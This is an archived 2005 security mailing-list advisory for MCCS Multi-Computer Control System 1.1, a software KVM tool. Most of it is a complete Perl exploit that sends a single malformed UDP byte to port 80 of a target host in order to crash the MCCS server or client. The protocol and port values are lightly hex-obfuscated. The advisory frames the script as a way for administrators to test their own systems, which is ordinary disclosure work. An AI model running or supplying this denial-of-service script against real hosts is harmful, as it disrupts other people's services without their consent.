

[EXPL] MCCS Server and Client Command DoS (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-09/0120.html>

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MCCS Server and Client Command DoS (Exploit)

SUMMARY

<<http://www.xclusive-software.com/>> MCCS "allows you can control up to 15 computers with single mouse / keyboard. Also, the clipboard is transfered from one computer to another when you navigate. No need for expansive KVM switch. (Keyboard, Video, Mouse switch). You can be more productive in your tasks. "

Lack of proper input validation allows attacker to cause a DoS condition within MCCS, the following exploit code can be used to test your systems for the mentioned vulnerability.

DETAILS

Vulnerable Systems:

* MCCS Multi-Computer Control System version 1.1

Exploit:

```
#!/usr/bin/perl
```

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#
```

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# MCCS Server\Client Command DOS Exploit
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```
# -----  
# Infam0us Gr0up – Securiti Research  
#  
# Info: infamous.2hell.com  
# Vendor URL: www.xclusive–software.com  
#  
  
use IO::Socket;  
  
print("\n MCCS Command DOS Exploit\n");  
print("-----\n");  
  
$str = "\x41";  
if($#ARGV < 0 | $#ARGV > 1) {  
die "usage: perl $0 [IP/host] \nExam: perl $0 127.0.0.1 \n" };  
  
$adr = $ARGV[0];  
$prt = "\x38\x30";  
  
print "[+] Connect to host..\n";  
sleep 2;  
$remote = IO::Socket::INET->new(Proto=>"\x75\x64\x70", PeerAddr=>$adr,  
PeerPort=>$prt, Reuse=>1) or die "[-] Error: can't connect to  
$adr:$prt\n";  
print "[+] Connected\n";  
$remote->autoflush(1);  
print "[+] Sending bad string..\n";  
sleep 2;  
print $remote "$str" or die "[-] Error: can't send string code\n";  
print "[*] Client Server SHUTDOWNED!\n\n";  
print "press any key to exit..\n";  
$bla= <STDIN>;  
close $remote;  
  
#EoF
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:basher13@linuxmail.org>>
basher13.

The original article can be found at:

<http://k.domaindlx.com/shellcore/advisories.asp?bug_report=display&infamous_group=93>
http://k.domaindlx.com/shellcore/advisories.asp?bug_report=display&infamous_group=93

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